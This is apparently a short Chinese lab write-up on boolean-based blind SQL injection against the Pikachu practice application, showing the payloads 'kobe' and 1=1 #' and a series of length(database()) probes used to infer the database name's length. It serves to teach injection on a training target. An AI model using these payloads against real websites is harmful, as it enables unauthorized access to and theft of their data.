pikachu之sql(8)
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断
这种情况下的注入,称为“盲注”
也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行,
事实上, 现在很多网站也都是盲注类型。
下面,我们开始进行盲注,
首先,输入的是名字,肯定是字符型,则注入的也是字符型。
我们可以用下面的payload来判断是否存在注入点:
kobe' and 1=1 # // 页面正确 kobe' and 1=2 # // 页面错误
说明存在注入点。
开始注入:
因为页面不存在报错, 无法直接通过报错+联合查询注入得知,
所以只能一点点通过页面是否正确来判断
页面正确说明注入语句正确。
kobe' and length(database())>10 # ==> 页面错误 kobe' and length(database())>5 # ==> 页面正确 kobe' and length(database())>8 # ==> 页面错误 kobe' and length(database())>6 # ==> 页面正确 kobe' and length(database())=7 # ==> 页面正确
可得数据库长度为 7
数据库长度爆破成功,之后再爆破字母就可以了。
便成功了。